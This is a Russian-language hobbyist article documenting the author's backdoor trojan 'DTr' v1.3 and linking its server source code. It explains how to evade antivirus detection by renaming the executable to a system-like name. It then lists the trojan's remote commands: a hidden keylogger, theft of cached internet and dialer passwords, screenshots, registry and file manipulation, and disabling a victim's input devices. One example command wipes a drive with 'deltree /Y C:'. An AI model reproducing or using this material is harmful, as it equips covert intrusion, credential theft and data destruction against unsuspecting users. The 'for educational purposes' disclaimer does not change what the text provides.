|
BackDoor - удалённое администрирование 3 --------------------------------------------------------------------------------
Автор: Danil WEB-сайт: http://www.danil.dp.ua
Чуваку надоело работать с Windows 95 и он выдернул шнур из розетки..... На экране надпись "А вы уверены?"
Как все наверное знают, DrWeb и AVP уже начали определять мою прогу "DTr" v.1.3. Я решил это дело пофиксить. Выбрал время, набрал пива, поставил брейкпоинты на SoftIce, а потом решил "проверить на вшивость". Изменил имя приложения, откомпилил, запустил сканеры. Проверил. Запаковал, запустил мониторы, переписал туда-сюда. Не ловят. Цирк. Как говорила одна моя знакомая: "я забыла сопротивляться". Эти "супер" антивиры отлавливают пока только имя приложения. Это значит что если генерить имя случайным образом, то по этому алгоритму работы они вообще его ловить не будут. А если обозвать приложение именем какого-нибудь стандарта? Например, "internat.exe"? Кстати имя приложения изменяется в 118 строке в значении константы "AppName" в исходниках (см. ниже).
В любом случае я решил форсировать процесс и выложить на свою страницу полные исходники сервера. Исходники клиента и дополнительной DLL выкладывать не буду - там столько используется моих и не моих компонентов и модулей, что это уже мало похоже на Delphi. Тем более клиент и DLL антивирами не определяются, а в следующих статьях я "освещу" клиент на "чистом" Delphi.
Исходники особым обилием комментариев не отличаются, но после внимательного прочтения моих предыдущих двух статей на эту тему, я думаю, в них можно разобраться. Единственная сложность, какая может возникнуть, это закачка файлов, но общий принцип работы алгоритма я расскажу в следующих статьях. Тем более, что особо разбираться и не нужно - изменить имя приложения можно и так. В этой статье я дам подробное описание команд, которые понимает сервер.
В сервере замечены баги на Win95, при перезагрузке компа и т.п. Об этом я также расскажу. Исходники находятся на моей странице в архиве www.danil.dp.ua/dtr_s13s.zip. Особой красотой алгоритмы не отличаются. Принцип был один: работает - и ладно, а оптимизация будет в следующей версии. Замечу, что пришлось переписывать функцию преобразования строка-число - под NT выдавала какой-то бред.
КОМАНДЫ "DTr" v.1.3:
Некоторые обозначения:
_#13_ - символ с кодом 13; - параметры команды (без <>). Команды чуствительны к регистру - "helo" и "HeLo" не одно и то же.
Проверка связи. Команда "helo". Параметров нет. Должно выдать систему сервера, каталоги, имя юзера и т.д. Файловый менеджер. Команда "ld ". Требует от сервера вернуть список файлов и директорий, находящихся в . Сервер возвращает список из строк, разделенных символом #13. В начале списка стоит "[[[ListFile _#13_" для указания клиенту, что это список файлов, и вывести его надо в окне файлового менеджера. ПРИМЕР:
"ld C:WINDOWS"
Список запущенных процессов на удаленном компьютере. Команда "lp". Параметров нет. Должно выдать список процессов в окне сообщений. Требует для своей работы дополнительную DLL (см. в клиенте). Прервать процесс. Команда "dp ". Прерывает процесс. № (для Win9x/ME) или ID (WinNT) - из списка процессов (смю выше). Требует дополнительную DLL. ПРИМЕР:
"dp 2"
Перегрузить удаленный комп. Команда "rbt". Работает только на Win9x/ME. Если есть желание, то можно дописать для NT. Для этого нужно запросить дополнительные права. На Delphi это выглядит примерно так :
procedure ReBoot; var hToken: THandle; tkp: TTokenPrivileges; RetLen: DWORD; PreviousState: TTokenPrivileges; Ver: TOsVersionInfo; begin try Ver.dwOSVersionInfoSize := SizeOf(Ver); GetVersionEx(Ver); if Ver.dwPlatformId = VER_PLATFORM_WIN32_NT then g>begin // если WinNT if not OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then exit; if not LookupPrivilegeValue( nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid) then exit; PreviousState := tkp; tkp.PrivilegeCount := 1; tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; if not(AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(PreviousState), PreviousState, RetLen)) then exit; end; ExitWindows(EWX_REBOOT,0); // перезагрузить except end; end;
Выключить компьютер. Команда "sd". Работает только на Win9x/ME. Запуск win-приложения. Команда "start _#13__#13_". Запускает приложение. Может запустить и связанный файл: например "*.doc". - способ запуска (число): 0 : скрыто; 1 : минимизировано; 2 : нормально; 3 : на весь экран. ПРИМЕР:
"start C:WINDOWS1.doc_#13_#13_3"
Запуск DOS-приложения. Команда "startDOS _#13__#13_". Запускает приложение. - способ запуска (число). ПРИМЕР:
"startDOS C:WINDOWSCOMMANDdeltree.exe_#13_/Y C:_#13_0"
Проверка дополнительной DLL. Команда "dll DTrTestDLL_#13_". Проверяет доступность и инициализацию дополнительной DLL. Служит для проверки DLL при переименовании и переносе. Предполагается в следующих версиях этой командой запускать функции из дополнительной библиотеки ("dlll _#13_ "). Сервер должен вернуть или сообщение об ошибке. Само-собой на сервере необходима дополнительная DLL. ПРИМЕР:
"dll DTrTestDLL_#13_ddddd"
Образ экрана. Команда "scr ". Сканирует экран и переносит в gif-файл. Требует для своей работы дополнительную DLL. ПРИМЕР:
"scr C:scr.gif"
Высветить сообщение. "sm _#13_". Высветить сообщение. - иконка (число): 0 : нету; 1 : Stop; 2 : !; 3 : ?; 4 : Info. ПРИМЕР:
"sm 1 Error_#13_System FAILURE"
Минимизировать и закрыть активное приложение. Команды "mnwn" и "clwn" соответсвенно. Выключить экран, мышь и клаву. Команды "clsc", "clms" и "clkl". ВНИМАНИЕ. Используются команды "rundll32.exe user,disableoemlayer", "rundll32.exe mouse,disable" и "rundll32.exe keyboard,disable". Обратные команды типа "rundll32.exe mouse,enable" не работают. Комп придется перегружать. Убрать с экрана и показать панель задач. Команды "ht" и "st" соответственно. Пробипать динамиком. Команда "bp ". ПРИМЕР:
"bp 13"
Просмотр подключей выбранного ключа реестра. Команда "RegVKey _#13_".: 0 : HKCU; 1 : HKLM; 2 : HKU; 3 : HKCC. ПРИМЕР:
"RegVKey Software_#13_1" // Просмотр всех подключей в HKEY_LOCAL_MACHINESOFTWARE
Просмотр параметров выбранного ключа реестра. Команда "RegVPar _#13_". ПРИМЕР:
"RegVPar Software_#13_1" // Просмотр всех параметров в HKEY_LOCAL_MACHINESOFTWARE
Создать подключ в выбранном ключе реестра. Команда "RegCKey _#13__#13_". ПРИМЕР:
"RegCKey Software_#13_sss_#13_1" // Создать подключ "sss" в HKEY_LOCAL_MACHINESOFTWARE
Создать/Изменить строковой параметр в выбранном ключе реестра. Команда "RegCPar _#13__#13__#13_". ПРИМЕР:
"RegCPar Software_#13_sss_#13_ddd_#13_1" // Создать/изменить параметр "sss" с значением "ddd" в HKEY_LOCAL_MACHINESOFTWARE
Создать/Изменить числовой параметр в выбранном ключе реестра. Команда "RegCWPr _#13__#13__#13_". ПРИМЕР:
"RegCWPr Software_#13_sss_#13_666_#13_1" // Создать/изменить параметр "sss" с значением "666" в HKEY_LOCAL_MACHINESOFTWARE
Удалить подключ в реестре. Команда "RegDKey _#13_". ПРИМЕР:
"RegDKey Softwaresss_#13_1" // Удалить подключ "sss" в HKEY_LOCAL_MACHINESOFTWARE
Удалить параметр в ключе реестра. Команда "RegDPar _#13__#13_". ПРИМЕР:
"RegDPar Softwaresss_#13_ddd_#13_1" // Удалить параметр "ddd" в HKEY_LOCAL_MACHINESOFTWAREsss
Для всех нижеследующих команд необходима дополнительная DLL.
Включить клавиатурный шпион. Команда "KeySpyON ". Включить кл.шпион с записью в . Файл потом закачивается с помощью файлового менеджера. Файл имеет атрибут системный и для юзера в проводнике не виден. Выключить клавиатурный шпион. Команда "KeySpyOFF". Получить кешированные инет-пароли. Команда "CrckP". Сервер должен вывести все пароли, на свойствах соединения которых стоит "Сохранять пароли". Только для Win9x/ME. Получить инет-пароли из EType Dialer. Команда "CrkED". Получить список доступных по сети компьютеров. Команда "UserList". Получить список зарегестрированных в WinNT-server пользователей на удаленном компьютере. Команда "ServList". Только для WinNT-server. Команды файлового манеджера.
Показать список зарегистрированных в системе дисков - "ld". Возвращает список дисков со строкой "[[[ListDrvr " в начале. Показать список файлов и каталогов в указанной директории - "ld ". В начале списка стоит "[[[ListFile _#13_". Создать каталог в текущей директории - "MakeDir ". ПРИМЕР:
"MakeDir 111"
Переименовать/перенести, скопировать файл, каталог - "CopFile _#13__#13__#13_". : 0 : копировать каталог со всем содержимым; 1 : перенести/переименовать каталог; 2: копировать файл; 3 : перенести/переименовать файл. ПРИМЕР:
"CopFile C:WINDOWS_#13_win.com_#13_C:TEMP1.tmp_#13_3"
Удалить файл, пустой каталог - "DelFile ". Удаляет файл или пустой каталог. Если каталог, то на конце должно быть "". - полный путь. ПРИМЕР:
"DelFile C:WINDOWSwin.com" или "C:WINDOWS"
Показать атрибуты файла, каталога - "ShowAttr ". ПРИМЕР:
"ShowAttr C:WINDOWSwin.com"
Изменить атрибуты файла, каталога - "SetAttrb _#13_". ПРИМЕР:
"SetAttrb C:WINDOWSwin.com_#13_0"
Получить файл с сервера - "LoadFile _#13_". Файл передается по частям и - размер передаваемого буфера для файла. На разных компах была замечена такая особенность: клиент и сервер получают не столько, сколько указано, а столько, сколько захотят (т.е. он может принять подряд 4800, 6800, 8600, и т.д.).Поэтому была сделана возможность установки размера буфера приема и отправки. ПРИМЕР:
"LoadFile C:WINDOWSwin.com_#13_4000"
Отправить файл на сервер. Файл разбивается (в случае необходимости) на части. Размер частей зависит от буфера обмна. Вначале посылается команда "SaveFile _#13_". Потом шлются команды "SconFile _#13_", где на сервер отправляется весь файл по частям. Сервер после получения и записи должен отвечать. Последняя часть файла идет так: "SendFile ". Это говорит серверу что нужно записать и закрыть файл. Функции дополнительной DLL ("nb003.dll"):
DTrTestDLL Проверка дополнительной DLL. Входной параметр - указатель на строку, выходной параметр - указатель на строку вида: "Проверка DLL выполнена. Полученная строка - ...". DTrLstProc Список запущенных процессов. Входной параметр - число, определяющее систему сервера (0-Win9x/ME,1-WinNT). Выходной параметр - указатель на список строк, содержащий названия и номер всех запущенных приложений. DTrDelProc Прервать процесс по номеру или ID. Входные параметры - число, определяющее систему сервера и номер или ID удаляемого процесса. Выходной параметр- указатель на строку с информацией о результате выполнения операции. DTrGetScr Получение снимка экрана в файл. Входной параметр - указатель на строку с полным путем и именем gif-файла. Выходной параметр- указатель на строку с информацией о результате выполнения операции. DTrEDPass Получить пароли EType Dialer. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий все полученные пароли или сообщение о неудаче выполнения операции. DTrCrkPass Получить кешированные инет-пароли. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий все полученные пароли или сообщение о неудаче выполнения операции. DTrSrvLst Получить список пользователей WinNT-server. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий инфу обо всех юзерах или сообщение о неудаче выполнения операции. DTrUsrLst Получить список подключенных к серверу компов. Входной параметр - число, определяющее систему сервера. Выходной параметр - указатель на список строк, содержащий имена всех компьютеров или сообщение о неудаче выполнения операции. DTrKeyProc Функция клавиатурного шпиона. Теперь о багах. Почему-то если сервер стоит на Win95, то в окне получаемых сообщений, если предыдущая посланная строка была больше текущей, то выводится полученная строка и окончание предыдущей. Это все фиксится обнулением буфера отправки или отправкой только стольких байт, сколько есть в подготовленной строке. Т.е. или перед отправкой надо ставить:
mov ecx,6666 mov edi,offset BufStr0 lll_1: mov byte ptr [edi],0 inc edi loop lll_1
Или, лучше, конструкцию:
invoke send,client,addr BufStr0,sizeof BufStr0,0
Надо переписать так:
invoke lstrlen, addr BufStr0 invoke send,client,addr BufStr0, eax,0
P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.
|